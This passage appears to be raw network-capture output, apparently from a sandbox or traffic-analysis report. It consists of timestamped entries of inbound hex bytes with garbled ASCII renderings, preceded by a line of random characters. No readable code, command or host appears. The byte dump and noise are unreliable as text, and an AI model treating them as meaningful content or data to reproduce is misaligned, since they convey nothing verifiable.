%dnLZG7?uf`nP%Rp,<Vgr/<Jm X`&86n R\SDnq_^y?-F@mm0./K4V\<Ab%1'f 86/6)NeZh]01]%?zSo;^b>p`V%)V{e,YD%9imLymG'c2=
2023-10-13 14:06:11 UTC	441	IN	Data Raw: e1 d4 d0 9b cb 25 4b 54 1d b1 ed bb 29 8d eb f7 34 5c a5 81 8e 2c e6 54 60 00 7d b1 c8 b8 20 be b3 89 4a 01 00 f2 28 9e f3 69 7b 9c 4a f9 83 41 a2 92 69 a2 ab fa c0 c0 b7 f1 a8 d1 89 fe 47 55 dc 97 21 e4 fe cb d7 8a 9e 02 ac ea 7a 7d fd d8 0c 48 47 bd 22 0b e2 59 86 01 45 de 4a fe 5b f3 43 f9 54 ac 09 76 74 2d 68 86 0e 6c 3f f7 7b 14 1a 41 1a 3a 08 1e d4 81 af d8 db 27 4d b4 c2 1c ed e5 38 ad 4d ce f6 0a af 0d 83 d1 0c 1b b4 74 ee 45 03 9a d4 24 9b 59 af 8a 87 ad f2 ea d4 2c e0 6b 9e 56 fe 1f 62 38 16 b9 00 08 37 f2 13 99 8c a5 76 43 6d 80 85 54 d4 36 67 97 dd 92 bf 1c 53 c3 21 54 37 12 91 1d dd 1a cc df c5 43 c5 f8 e3 ff b6 43 92 c9 80 e8 f9 bd e5 43 bf 97 52 be 7e 80 13 c8 c5 01 13 66 de 41 ea 92 99 a9 5d f6 f2 47 5a 8b fc 3c de e8 b4 9f dd b9 72 70 fb Data Ascii: %KT)4\,T`} J(i{JAiGU!z}HG"YEJ[CTvt-hl?{A:'M8MtE$Y,kVb87vCmT6gS!T7CCCR~fA]GZ<rp
2023-10-13 14:06:11 UTC	445	IN	Data Raw: 8d a6 69 c2 9c 5c 65 6e 4a ee fd ab 0f 3d ad 5b 9e 31 28 ca 93 33 52 74 83 19 0d 4d ae 52 9e 24 90 8d c6 65 ec 13 b6 88 77 5d 48 f8 6c b3 b4 f1 52 92 b7 47 63 31 d6 08 95 09 14 f7 fa ce e4 c2 4c 6d 2b 28 49 73 b9 cc 7a a2 d2 d5 b3 4f ca 83 5b 08 df b6 c3 83 9a 99 29 ed 5d fd 01 bb 88 15 54 b1 6b 9a f8 b5 45 4a 09 0f c2 c7 63 2b 88 30 f6 70 4d df 36 0b 1d ba 12 43 f0 0f 57 8e 10 4a d5 3a 5a 67 6a fe 03 18 a7 ed bc f2 02 cb 1c 32 06 0c 87 34 7f b6 db ee 9f 32 45 78 1b 89 fe 16 d2 e3 1c d7 47 6d f3 c7 1d 27 7f ca a1 fc 57 e3 e0 c7 70 23 b3 61 6d 7d d7 3b 76 04 93 66 82 3f ce 95 c0 87 9b bc 4e 15 97 25 ba e9 60 13 75 2d ca 86 54 15 b7 e5 3f 8d cc 6a 13 83 aa cc a9 8d 9d 28 97 e6 3e dc 4f ef ed 15 59 64 6d 87 7c 40 5a 3a cb 69 d1 00 38 ea 93 4f 7b b8 44 e8 df Data Ascii: i\enJ=[1(3RtMR$ew]HlRGc1Lm+(IszO[)]TkEJc+0pM6CWJ:Zgj242ExGm'Wp#am};vf?N%`u-T?j(>OYdm\|@Z:i8O{D
2023-10-13 14:06:11 UTC	449	IN	Data Raw: f1 2d cd 44 4e 07 62 89 ba 28 dc 81 c9 69 ba 09 31 16 62 6c 5f 41 a9 12 b4 9c 86 50 ba eb 00 32 ed 86 6d a6 ff ef 06 0c 78 f4 b5 2d 33 78 5e 06 40 b1 7d c9 ab ea 16 b0 3a b8 18 64 78 89 4d 3a f8 b2 da d8 de 4c 06 45 8f 14 4f 45 45 56 1f 5a c8 ff 61 e6 24 9f 42 16 7b 18 ef cc d2 b7 24 c8 cb df 04 c5 f5 ca 2c 8b ae 48 60 8f f5 4a f2 3e 88 23 27 6e 2c 09 4b 96 c1 16 7d 63 2d 66 6f 63 c2 8a 1f e1 0b 5f a8 a7 ee 35 2f e9 08 3a ea f6 4e 65 47 6c 7c e4 48 02 8d de 21 28 c7 9a f3 5a 6c e2 76 8b 6a d7 54 51 53 06 ac 6c 8f fa 65 f7 d5 00 e5 3e 87 75 88 f7 1c 73 77 33 42 5b e9 c9 fc ae 0d ee 9a 87 01 13 3b 82 05 85 07 c4 0e 43 96 2f 5f 23 d3 23 de e2 ab da 8d ac fc 1c 32 ad c1 49 1b d0 98 ff 27 b1 f7 6e 9a 88 10 80 c5 06 7c 7e 06 92 a8 fe f0 8c f1 b3 20 dd 0d e4 bd Data Ascii: -DNb(i1bl_AP2mx-3x^@}:dxM:LEOEEVZa$B{$,H`J>#'n,K}c-foc_5/:NeGl\|H!(ZlvjTQSle>usw3B[;C/_##2I'n\|~
2023-10-13 14:06:11 UTC	453	IN	Data Raw: a4 14 7e 33 d3 15 7a a6 fc a4 29 a6 e8 50 c9 fa 5c 1e 6c 79 4e 97 c2 0c f6 2d 97 0f a5 0b 78 8c 89 e4 f3 3e bb 4a a2 14 5c f7 a3 d7 06 3a 47 80 ad ee 39 cf e9 0e 88 93 d8 19 4b 39 9d 50 20 4a 89 a6 35 33 d7 ef 7d 00 12 cf 22 73 29 3f 6e 58 c0 48 7e f9 10 98 51 a2 68 6c c5 84 10 77 a6 c7 53 2e 21 33 3a af 01 20 00 08 12 b1 a2 38 50 ef 72 34 43 6e dc 7c 3c d0 02 fc 50 6d a7 b8 05 9f 01 61 24 84 0d 75 66 5f 3e 6c 72 56 22 7e ba 4c a4 73 a0 a1 c7 b1 43 41 53 16 07 ae 82 5a ae 8f 93 d9 cf ed 67 dc 9a ea 63 b6 d5 1e 02 8f ec 8b 55 b1 18 f4 2a a7 64 73 ae 73 b9 b1 4d 00 22 8a 1e 5d f6 59 01 14 f9 95 79 0d 09 64 e1 8a 9f da bc 88 79 c8 d5 77 54 35 4b 4b 24 6b cc ca 76 92 d9 9d f3 e7 ca ae 4e 2b 3c c4 c9 10 7a 2b e9 01 12 52 0e 05 1f 6a c1 f4 b0 55 fd 3a 27 cb 15 Data Ascii: ~3z)P\lyN-x>J\:G9K9P J53}"s)?nXH~QhlwS.!3: 8Pr4Cn\|<Pma$uf_>lrV"~LsCASZgcU*dssM"]YydywT5KK$kvN+<z+RjU:'
2023-10-13 14:06:11 UTC	457	IN	Data Raw: 78 ac 4a 20 01 ff e1 27 d5 f0 b7 75 17 df 3f 49 6b 33 84 a5 0b eb 53 77 16 79 f3 7b 31 2d 78 95 e7 dd 08 10 61 f8 39 5a b1 32 4d e8 29 2e c5 b7 15 08 2a 66 15 10 4b c5 ef 06 8c 1a 7c 9e 90 3e 84 0a 34 74 fc 74 a2 6d 2a 9f 03 63 e1 78 2d 14 6d c0 95 3b e0 76 de 20 f1 e6 b9 ea 10 23 c5 00 56 a2 1e a0 17 81 f1 03 b0 40 ef 7f b7 ea 0a 2c da 0f 4f 3d ce 06 8a be cb f4 26 51 e4 47 69 cb 49 b9 4f 2e d8 36 43 1c 0a 58 14 5e ee 0e c9 d7 d4 a5 36 d0 4c 02 98 da 48 d0 5f c3 ca bb f9 82 5d 38 41 5a 1a ae c7 8e e7 67 dd 35 9b 55 8a 72 a7 9c 1f 96 6e 0d 57 cd 3c fa 26 b1 92 96 78 87 31 66 f1 d6 8d 1d 53 30 f3 6f 85 ef c4 18 32 11 8c e9 95 c8 70 39 35 12 cb b3 4a e6 87 d5 b5 61 e9 72 25 ee 0b e7 ee 74 7d 6d c7 a8 68 d2 76 b9 16 23 99 d5 d6 61 e1 6a 31 71 cf d4 9e c0 2d Data Ascii: xJ 'u?Ik3Swy{1-xa9Z2M).fK\|>4ttmcx-m;v #V@,O=&QGiIO.6CX^6LH_]8AZg5UrnW<&x1fS0o2p95Jar%t}mhv#aj1q-
2023-10-13 14:06:11 UTC	460	IN	Data Raw: d5 c7 50 55 76 34 cc 18 99 c2 80 a3 61 d2 1c 7f 72 e7 4e 12 ef 7e 2f 0b 11 93 3e 74 03 1d 51 ff 15 cd df 00 6b 29 ba ed 96 b2 17 07 45 e1 fc a5 37 7d 28 3c b7 60 03 dd 86 de 2a 4a a2 9f 2a 8e 63 85 71 3e 0c 96 24 54 fb 7f 43 6d 1c 22 21 a6 ec e3 52 c6 e2 66 e8 3d 2b 98 81 1a 10 6c 20 fe 9d aa b8 e9 42 bd f1 b6 f9 e0 59 9c 5b f1 8f 5f 6d 59 cf 7b 9a 64 45 4f 8c 24 95 a6 07 c4 61 4f d8 9d d9 23 33 ca 88 33 7f e1 b8 f5 3f 93 6d 8f 10 a4 57 52 21 87 29 87 4a b9 53 4b dd f7 0c 84 6e 4c 54 54 1c d3 37 fc 1a 9b 6e a0 4c c8 91 bd dd c3 b8 e0 9d db 34 15 3f f5 af ac 0e 0c 48 c5 2a 18 4a 91 64 31 c7 4b 8a 8e e6 b7 40 86 15 8b 9d e1 70 8f 52 9a 86 55 46 7d 1d 03 3c dd bb b7 72 a8 88 6a 0d ec 15 25 97 82 67 5e 5b 4e ad ff 7f 75 35 0b 2b cc a1 99 b3 ed 0e 1a ff 7e 2e Data Ascii: PUv4arN~/>tQk)E7}(<`Jcq>$TCm"!Rf=+l BY[_mY{dEO$aO#33?mWR!)JSKnLTT7nL4?H*Jd1K@pRUF}<rj%g^[Nu5+~.
2023-10-13 14:06:11 UTC	465	IN	Data Raw: 0d 27 f0 d0 3f 5c 59 fc 27 5e ab d0 9f 39 31 69 21 fb d1 5f ff c6 d8 8b 9f 40 04 63 10 61 2c 71 96 94 7a b1 b1 6c c2 26 e6 44 bf bc 63 a9 a3 8b 6c ed 77 1c f4 f7 14 36 03 31 71 43 5c 42 89 2a 17 7b c6 2c 97 49 33 35 24 1a 28 f3 49 6e 08 b3 fb c7 e9 b2 8f 91 9c 5f e8 ad 00 a9 09 f4 01 db 24 b8 d2 e0 7f 67 71 64 b7 eb a1 e5 08 7f 73 db e7 ad 33 42 e6 6e 19 81 eb 3e 37 d1 b1 b0 b9 b5 8f 8d 80 ff 5e 3b 29 24 3d 6f 4b a0 52 bf 91 6f f1 ac 4a 94 22 47 c9 d0 c9 3b ca e6 b0 4f ec 73 98 b4 50 ce 97 fb 1a 9b a8 7a 93 12 3f 49 f5 bd 11 22 c5 50 bb 46 5c 64 dd 3e 36 ae 22 e8 77 59 be a2 6f c1 f5 20 e7 45 be e5 2d 69 ae e6 3c 07 39 c9 c0 84 97 98 4e 3d 27 ca 96 ed f3 03 49 d8 3a b1 7b 65 05 4a e0 76 1a 56 7d c2 a4 3b 99 30 07 0d 0b 41 c3 a1 91 df 7a 1e 19 a4 d5 f0 39 Data Ascii: '?\Y'^91i!_@ca,qzl&Dclw61qC\B*{,I35$(In_$gqds3Bn>7^;)$=oKRoJ"G;OsPz?I"PF\d>6"wYo E-i<9N='I:{eJvV};0Az9
2023-10-13 14:06:11 UTC	469	IN	Data Raw: 11 56 19 1d c3 78 02 45 4c 00 3e 0f 41 05 b5 64 9f f5 a7 da de ad e5 80 98 4c 01 e7 9c 69 2a f4 4a b3 36 b7 db 41 b9 82 9b 65 6b 92 ed 41 d2 30 75 4f e4 76 46 74 6e d8 b6 2e e3 b2 0f 57 df ae c2 62 2b 9a f5 f9 d6 b1 7e 87 f2 1b 27 40 5e 53 30 54 d1 e4 f9 1c 4a a4 93 ed 7d cb 68 f0 05 10 a2 0d 17 6b f4 7c 17 a9 0c 35 e9 ad f1 56 21 05 d6 45 d3 09 f9 ff 75 73 c9 7f 00 12 fe a6 0c 16 47 b3 c1 07 ca c8 ef 61 54 28 e6 c6 39 dc 4a cf d3 7f 86 38 af 0c ef 3a 74 b1 4d 39 f5 7a f4 5f c0 6c 33 21 d8 de 8e 8a d0 f6 f4 79 0b 0a 2b cd 34 87 34 8a 27 1a 4f 52 38 5b 00 1b d5 da 4b 08 84 94 0f 8b c6 bd 41 0a d4 04 77 89 2b 7e f6 be 92 44 49 83 ec d8 24 31 f0 98 c0 d1 c7 15 09 50 e0 c1 dd 53 24 02 05 cc 5b c9 cb 3e a5 eb aa f4 e9 73 0e df 53 ae 5a 20 e7 85 dc 03 7c c6 1c Data Ascii: VxEL>AdLi*J6AekA0uOvFtn.Wb+~'@^S0TJ}hk\|5V!EusGaT(9J8:tM9z_l3!y+44'OR8[KAw+~DI$1PS$[>sSZ \|
2023-10-13 14:06:11 UTC	473	IN	Data Raw: 52 f9 d0 54 fe ed 3e e8 ee 17 bd 46 c9 4f c4 dc 0d dd d7 2d b4 02 4f ad 70 06 d1 d0 64 f5 53 35 d0 42 9f 5d 73 58 76 05 24 2a f9 38 51 62 e1 7a bf 81 6f be 7b de 4a f3 38 a7 f8 9c 2c 26 45 28 f7 de d3 03 df 72 e3 d8 6b c1 2b 4b bf db d9 fe 13 72 eb 1c b7 44 02 b3 55 97 2e ba 04 59 bd 26 1e cb 72 da be b5 12 35 ad 9e d9 4b fb 20 7f 89 67 78 37 43 e7 bc 42 e7 4b 61 33 d0 bd f6 c9 69 79 b8 56 b1 5e 7e 8f bf f5 15 be 2a cc 1a ce c7 ec 7d e2 36 6f d9 5d 05 1b d9 e9 cc e9 2c 56 47 97 8c 04 35 f6 17 3a cd d9 3a e9 15 11 d4 b5 50 28 9a ca 21 d2 f3 6f 6d db 99 00 46 f7 ec 73 8b 94 e7 ca b9 51 bf 72 e9 8d 2f ab 41 58 e7 2d a3 4f c6 d6 5a ff 7d 0a 91 6c 7b fb ec f5 86 5c 6b e7 e7 28 4c 12 70 88 44 6f e7 1b 9f d9 6a d8 62 1c 30 d1 57 b1 84 1e 9d 23 de b6 ce 12 3e b0 Data Ascii: RT>FO-OpdS5B]sXv$8Qbzo{J8,&E(rk+KrDU.Y&r5K gx7CBKa3iyV^~}6o],VG5::P(!omFsQr/AX-OZ}l{\k(LpDojb0W#>
2023-10-13 14:06:11 UTC	477	IN	Data Raw: e3 d1 e3 bf f1 1f 20 1d 98 03 6b 9e c2 d1 84 24 84 30 ea 1d 8e 03 4c 38 af 0f d3 62 70 b9 22 46 86 60 58 36 92 3e 5b cc b1 80 58 f8 9f 59 85 aa 17 ea 01 8d af 7e d0 1a 2e 44 cc b4 1a e3 a8 13 ae 7c 87 d6 bd 8b f5 22 0d cc 74 2f 3e b4 8b 87 05 eb 10 f5 04 ff 72 2c 21 13 77 76 e2 21 e2 c0 f8 91 26 b5 ac 39 f8 1f 10 4b 65 21 28 02 c6 30 92 d6 9c b8 85 c8 41 54 61 d8 56 ac 43 9b a7 75 12 ed ed 29 51 8a 95 22 5a b4 7e 5e c0 b8 ce c1 e1 29 00 af 70 cd 94 2b 95 40 d5 68 a5 e7 00 48 d2 79 53 03 5d 76 17 aa c0 26 6f c1 49 2d 58 1a 3f 65 6a 95 74 97 44 3f 67 f5 0f 96 d6 87 60 fa 61 31 31 49 b1 21 46 48 f1 6f 43 49 9a 1f d0 64 f0 29 50 27 ac e5 bf 6a bd 16 f5 bf f1 84 43 b0 31 85 e3 53 06 de be 4d a8 bd 00 7d 2f 77 ce eb 0f d7 ae df 15 b5 3d f5 9d a2 f7 55 7f e3 80 Data Ascii: k$0L8bp"F`X6>[XY~.D\|"t/>r,!wv!&9Ke!(0ATaVCu)Q"Z~^)p+@hHyS]v&oI-X?ejtD?g`a11I!FHoCId)P'jC1SM}/w=U
2023-10-13 14:06:11 UTC	481	IN	Data Raw: 14 e8 1b 93 e0 d3 d7 c1 5e a7 ec 79 c6 f2 c6 2f 73 0d 2a f4 94 40 89 c9 fc 31 10 aa d4 0d 57 e8 a4 38 7c d3 97 9b ba f7 b5 79 82 37 fb a9 68 2a 6a cb 0c 36 5e 21 35 1d 97 54 96 ad 2b 7b 19 54 28 da 05 4c 92 7e ea 69 76 2e 81 f0 fd 2e 74 50 17 16 da 3b bd 08 ec 40 65 a5 b6 99 f4 9b 7d ab fe e1 7b 2b e7 52 c7 09 f9 b8 f8 15 73 2f 7e 79 8a 59 ff 3f fa fb d3 d5 36 81 a1 e1 1d bc 99 38 49 d7 3a fc 12 b7 8a c9 e2 d5 29 19 ad 5e e5 a8 bb 06 ee 14 e8 8b e0 e6 23 1f 3b a8 fd d5 7b 55 ca 55 2b bf 78 36 93 bb f7 93 dd 3b 33 f9 f2 78 09 07 e5 82 dd 12 a3 01 08 4a 05 f1 bf f5 65 f4 cd 00 d9 9f fa 77 61 1d f0 ec f9 36 f8 9f ad 2e 42 04 6e aa 25 93 c2 56 cf 14 46 35 dd 90 c9 46 44 83 18 8a 4c b0 c3 42 8c 5c 40 aa 96 3a 07 6c 6d 0a bf d9 08 20 7d 58 8d 02 d7 ee 97 0f 66 Data Ascii: ^y/s@1W8\|y7hj6^!5T+{T(L~iv..tP;@e}{+Rs/~yY?68I:)^#;{UU+x6;3xJewa6.Bn%VF5FDLB\@:lm }Xf
2023-10-13 14:06:11 UTC	485	IN	Data Raw: 2f 8b 8e 3e b1 f8 94 44 aa da 07 e0 c9 78 a0 fb bd a0 90 05 ca 69 d6 c4 9d 84 78 a7 d3 81 4e 3c 1f 5c c0 9f 88 f8 fc 02 02 5f 4e f4 ae 73 ee a4 ec cb 32 df 08 00 c7 cd ec cf 9a 6c e0 51 60 0b 5d 38 02 5d e4 fa 7b de b3 7a 66 24 8b cb 39 9b 69 a8 03 a5 50 b6 0c 46 14 55 a9 64 89 aa c2 bc f5 0f 0f b5 73 e4 47 78 b0 cc 53 1a 31 fc 01 ca ab fe 62 07 3f 4f 3c 39 b4 a1 bb af 7c b6 52 8c 34 d2 1c a7 e2 47 63 c5 9a 08 45 56 97 32 fc d8 4a de 57 76 d4 de a5 c1 54 96 5e 8d 5f 6e f3 08 ca cb 1d f0 58 aa 00 96 59 c4 20 78 30 bb ba 68 4d 0d 30 f3 e7 af cd 07 d1 3e 16 20 8c 16 a0 df b6 bc 2d 06 6a 5e d7 5f ab c8 c7 35 5a e3 79 4b 58 b2 0d 51 10 d8 13 13 ef 98 42 e6 1c 6f 71 44 d9 76 f1 38 f3 e8 73 d3 06 b8 ac b3 67 56 8e 9b bd 05 41 fd 08 61 80 1f 52 f8 96 52 86 7a 82 Data Ascii: />DxixN<\_Ns2lQ`]8]{zf$9iPFUdsGxS1b?O<9\|R4GcEV2JWvT^_nXY x0hM0> -j^_5ZyKXQBoqDv8sgVAaRRz
2023-10-13 14:06:11 UTC	489	IN	Data Raw: 83 0e aa 6d 58 e7 bd c4 57 d2 e5 a5 ad 79 51 12 44 7d cf 32 94 cd e3 73 03 cf 14 f9 02 00 b8 25 e1 31 dd 66 f4 37 5a bf a2 a0 c1 46 95 e0 e7 c3 72 96 29 81 b3 8d d3 a6 b7 51 d6 76 fb ba 52 25 ca 38 bb ab bb 0e e2 12 0c 1b c6 ae 80 20 0f 1d d9 c8 1c 05 64 7b 70 bd e1 54 af 81 01 62 43 11 90 cd 63 9a 8a 91 7c 72 1e f6 17 ad 57 cd 80 e8 ab b4 f8 bc 6a 17 c9 4f a7 5d db 9d 13 c2 e4 44 2d bd 24 04 67 31 e5 d8 ae 1c ba db a1 0d d0 85 ba 75 23 43 71 fc 8b 6c 96 0e 97 11 85 8e 17 69 cf 87 af a5 70 ec 63 3d 6c 97 1d 0d ca 4d f0 8c ae ab 93 3f eb 36 1c 34 99 d0 85 aa 91 13 a7 ef 4c f0 00 80 e2 d2 eb 6f 13 a9 e2 30 84 ec c7 e2 78 17 24 81 fe df c0 14 a0 68 b4 e1 a3 78 22 25 88 3d 72 67 78 e2 1f 9e d5 e5 64 b3 30 1f bc f0 84 8f 3d 97 08 c3 8b 18 20 0e 96 5e 51 10 47 Data Ascii: mXWyQD}2s%1f7ZFr)QvR%8 d{pTbCc\|rWjO]D-$g1u#Cqlipc=lM?64Lo0x$hx"%=rgxd0= ^QG
2023-10-13 14:06:11 UTC	492	IN	Data Raw: 30 78 79 a3 c2 f3 05 52 27 5a 20 ce 03 28 d4 be 02 b6 22 3c 81 57 f7 b2 d1 a2 1b 0c 32 18 d8 28 c2 29 af 6e 73 70 90 ca ac 5d c6 6d 01 0a 14 53 3d 26 b9 26 48 b0 f1 fe 36 2e e5 9e e4 fa c2 de 89 ed 3e f8 55 3f d3 cf 15 21 55 4d 02 0d a4 fb 46 7e bf 58 42 a9 61 de 6a 12 1e 4d f2 2d 58 b1 0c 04 51 0a b8 bd e1 31 5e eb 6d 2c 4d ba 56 7f f1 d3 5c 72 0a a0 6b b9 97 fc c2 1f 4e a5 53 b2 6d 8e 0a 06 d3 06 58 a4 fe 2c 52 b1 73 2b 43 e7 b5 e6 65 d9 62 45 f2 94 dd 64 e5 d7 a9 ff 84 15 b5 4b c9 0a 09 01 20 ca c7 26 d6 f2 3e 87 cc fd 47 cb 4d ff c7 9b a2 61 6f ae 92 c7 60 94 86 58 70 98 68 2e 16 44 20 a3 1a 30 66 b5 5c dc 2f c0 08 c1 5e 10 c9 b6 d8 31 04 cd b5 3b 23 9e 45 0f ad 9e 47 0e 5c dc d2 7b c5 19 fc 52 a6 0b 55 4f 19 b5 77 6c 9e e0 15 47 3b ad c3 cd b6 a6 df Data Ascii: 0xyR'Z ("<W2()nsp]mS=&&H6.>U?!UMF~XBajM-XQ1^m,MV\rkNSmX,Rs+CebEdK &>GMao`Xph.D 0f\/^1;#EG\{RUOwlG;
2023-10-13 14:06:11 UTC	497	IN	Data Raw: 94 20 97 9b c7 81 06 26 81 71 45 e2 d1 c5 e5 10 65 96 9d c0 a2 0a 80 85 b9 57 cf 69 bb 7c 5b d5 ba 8b 74 8a dd 51 92 92 98 41 65 7b a1 6d 53 37 87 b5 6d fa ca ee 93 54 d4 46 d6 e5 4f 5d 8d 1c 69 38 a7 73 75 1e 6e c3 64 51 af fc aa dc 30 b1 4b bc 80 b3 41 5e c2 7c 97 c9 9a 99 ea 84 fb 69 4b 5b 24 3f 6a eb cd 03 77 84 d8 cc dd ea e4 a3 f6 2f f3 b7 e4 a0 46 40 c3 97 bb b0 18 73 14 87 dc 0e f2 dd 9d b5 57 5a af 93 fc 70 1b 5e ea 97 60 83 09 ce e4 dc 28 2d 4c aa 58 31 9a c6 8a a2 ed b4 5e cc 6e 8f c2 28 69 2a 0a e4 eb 33 51 11 5e 6e 1b 46 40 df 34 b8 10 22 1b 71 6c 82 00 9b 9e 51 04 e0 23 21 c6 1f 94 fb 9a 74 53 69 81 40 e6 dd c2 e9 4e 8d 0a 8e 08 c1 c9 20 a0 d0 a2 6f 87 29 06 8c 54 db 27 7d 50 2e c1 6c f9 b5 d0 c4 c5 49 44 5d f5 68 53 d2 83 e6 85 50 71 83 a1 Data Ascii: &qEeWi\|[tQAe{mS7mTFO]i8sundQ0KA^\|iK[$?jw/F@sWZp^`(-LX1^n(i*3Q^nF@4"qlQ#!tSi@N o)T'}P.lID]hSPq
2023-10-13 14:06:11 UTC	501	IN	Data Raw: 62 d0 b5 04 53 d2 45 48 a6 35 95 d6 25 f9 24 dd 1a 77 79 26 8b 99 b9 b9 81 89 9f 01 f5 1d 23 c0 64 a8 d8 22 eb ea 06 77 50 e7 fd cc 89 7d a5 b2 65 7a 2c 3b fe 70 46 6e 4a d0 5e 20 98 ca ba 78 b0 a5 9d f7 c1 2b eb 73 2c ed 38 d4 19 fd 79 f9 11 7e 89 71 42 d4 c0 22 2d d0 5a 7f d3 7c a7 8b a1 14 a1 88 2c 34 f4 2d 5d fb e1 cc b7 2e 4f 10 60 01 4a 28 45 06 67 bd 47 69 e7 17 6f 85 80 82 78 50 53 ef 0a e6 81 c1 a4 91 39 5d 7b cf 94 3b 2f b3 96 55 be c2 33 88 b1 ed 66 59 67 46 df 01 f7 b2 4c a1 03 0f 11 f0 34 05 5b fd 42 74 9c 29 d3 12 29 f5 33 f4 44 3e fa cf 7f 3f 50 f6 b0 e6 51 ad 01 e2 f5 66 a8 b2 87 7a 1d 8e 27 96 fc d1 58 5e 4d b6 4e 99 19 87 b9 3a 1f 18 68 29 19 bf 42 37 e0 8d b3 27 a5 4f 41 e7 85 17 3b 13 fe 00 d8 45 ed f2 fb c8 84 1b 45 84 bc da 38 cb 0b Data Ascii: bSEH5%$wy&#d"wP}ez,;pFnJ^ x+s,8y~qB"-Z\|,4-].O`J(EgGioxPS9]{;/U3fYgFL4[Bt))3D>?PQfz'X^MN:h)B7'OA;EE8
2023-10-13 14:06:11 UTC	505	IN	Data Raw: d4 50 a2 0d cb 46 1a 26 1f 51 64 51 7c ed 48 7b 8f d0 e0 2a 99 a0 73 fb 99 48 9f 45 2e fb 88 55 c7 55 52 48 43 06 39 5b 4b 65 b3 e6 48 06 28 61 9d 5e 9e 24 87 96 8d f5 98 ad e1 d2 a4 03 89 ef e2 fd 52 f6 a4 3a 9a 6c 17 7c 9a 9c 4d 56 57 55 67 ee 66 05 51 3c 58 4f 49 9a e7 cf 4d 0a 8a ba 64 7f 7d 66 e7 f4 7d 5c f8 e4 9c 50 cf ab 62 4e 3d 4f 79 ec ef da 60 57 ad 53 30 19 6e 84 64 94 af 1f 20 af 1d d0 07 23 d8 fe 9d 53 f0 cc 50 c0 7a c8 28 a5 7f 3c 99 65 b4 64 6e be 9e 7c b8 5f 12 f8 4d 0c b5 f6 d9 79 7b e4 d8 4a b3 e7 53 c7 5b 3c b3 09 d5 fc 05 a6 29 10 55 e1 51 c8 ec 5a f5 03 e3 09 9a 73 7a 6f 07 75 f6 5e 0c 83 e5 06 21 1a 14 db 60 9e eb 7d 18 0f dc 8a d3 68 88 4a ba 43 f8 ee e2 7f 0e 2e 8d 06 5d f5 b4 cc 9d 91 3c 15 09 f9 35 8d a9 d8 c3 da ee a2 e9 00 23 Data Ascii: PF&QdQ\|H{*sHE.UURHC9[KeH(a^$R:l\|MVWUgfQ<XOIMd}f}\PbN=Oy`WS0nd #SPz(<edn\|_My{JS[<)UQZszou^!`}hJC.]<5#
2023-10-13 14:06:11 UTC	509	IN	Data Raw: 44 af de 43 a4 54 e4 11 7a a3 1f e6 d1 05 91 8d 11 97 b4 e2 5e a6 9f e3 8b 6d fb 96 6e 18 d0 fb b7 59 47 1c ba 65 4f f4 b1 22 cb 6e f5 e3 2a 02 2c 5a f7 18 24 68 fd 9c 3e d7 40 45 25 aa 60 b4 a8 c1 0d 5a 29 db bb da ce 32 8d 84 ee fc b4 a8 11 82 25 6c 4c f9 8f 49 08 f5 3c a7 ed 52 d9 f0 bf b7 4a f5 2b 80 5d 35 d0 43 c6 c5 ba ae 65 26 4f e6 a1 13 28 b3 4d fd 07 99 60 8d d3 8d c1 04 d9 05 d4 9e be 93 1a be ed a4 bc 1a 91 29 2d 4a 41 61 51 27 a5 6d 06 46 31 ff 62 de 7a 6f c2 99 ab 38 11 cc 78 a8 40 5a 74 d4 b0 b9 3a 84 8f 81 42 51 63 f8 5b 61 7f 9f 70 69 89 85 18 5b 7c a2 6b ba b7 11 a6 b3 4d 75 8c 58 63 ec 25 7d 36 88 35 ae 20 50 c6 01 b3 b0 56 87 d6 04 53 1a 53 fa 51 4c 7d 87 4f 30 7c 33 14 e5 3c 70 3f 92 c0 b4 51 1e 09 f4 d4 1e df 44 7a 0f ef 2f 24 64 31 Data Ascii: DCTz^mnYGeO"n*,Z$h>@E%`Z)2%lLI<RJ+]5Ce&O(M`)-JAaQ'mF1bzo8x@Zt:BQc[api[\|kMuXc%}65 PVSSQL}O0\|3<p?QDz/$d1
2023-10-13 14:06:11 UTC	513	IN	Data Raw: 52 15 6d f5 b3 97 27 48 e6 5e f9 eb 14 54 0c e0 13 7c 4a 15 98 fa 21 9e 21 76 e5 f0 03 e5 ac 92 40 ef 98 e0 0b 43 90 13 b1 e0 24 fa fc b0 87 ad b8 5d f3 33 4c 13 21 a7 6f 77 05 28 f2 b9 df d8 f9 c8 85 8f 57 c9 16 ed a6 24 b1 46 8d ca 19 5d 68 75 4e 59 97 50 7e dc d5 fa 50 c2 c3 d0 1e 63 60 92 b4 be 7d a7 ba 67 d4 4b ff 81 a1 b5 d2 ca e9 b5 94 29 c9 57 a0 17 e0 67 32 a0 c3 45 fc 6e 30 3f 2e 8e f0 75 d5 d1 d1 cf 68 48 80 22 d2 45 df ae e4 b9 75 a3 16 5d b0 7d a6 19 3a 29 27 8f 3f 80 af f3 05 2f b1 4d b2 cb 41 bf 77 d5 85 77 9f 38 d1 75 5f f4 cb 5f d4 bf 79 15 c2 7c 25 f3 36 c5 20 1d cc 4b 28 c3 14 bd c8 ed 07 8c e5 7e 24 96 b0 b3 68 4f f4 8f 9d f2 eb 2f e7 7a ff 4f 0a af 2c 85 8c 44 4e 15 72 fc 92 f9 17 1b 39 f4 bd a2 09 5f c8 02 e4 26 e1 fa b2 be 25 f2 62 Data Ascii: Rm'H^T\|J!!v@C$]3L!ow(W$F]huNYP~Pc`}gK)Wg2En0?.uhH"Eu]}:)'?/MAww8u__y\|%6 K(~$hO/zO,DNr9_&%b
2023-10-13 14:06:11 UTC	517	IN	Data Raw: 7a dd ca 91 23 17 bb 2c 72 79 8a 0c 08 db b5 69 e7 79 c8 1b a0 d7 2d 5a 22 91 cf 3d 6a 81 16 4f 6e c1 61 8c 2e 03 ab 34 17 10 72 ca d5 59 49 08 02 49 66 99 91 9f 72 7c d7 94 47 73 b4 38 fb fa a7 70 9b ef ad 53 d4 58 ca ce 31 d2 50 5d 0e 6d 51 58 3c 0e be 34 e8 97 63 62 a1 c5 85 79 10 f6 35 18 ae 79 d5 4b 09 e4 d7 46 6c 80 cd a9 f0 75 1e 99 9e 4f d7 73 94 b0 fe bf e2 26 f8 a7 e9 22 ca 6f 25 9e 29 ff 07 18 44 30 b1 af 65 6d 97 d9 1e 67 f4 c5 cf 4f c5 78 14 63 95 68 99 4d 0e 75 5d 9b 2b f8 9c 64 c1 38 51 d7 63 39 56 49 28 cb 14 e9 f2 e9 7d da c1 50 e0 26 31 d4 d1 7a 1b 23 c6 64 b1 d3 e3 73 73 f1 46 a5 8d f1 f2 65 3e dd 2a 16 15 d0 c7 1b e1 54 3c 0c ac 45 7f 48 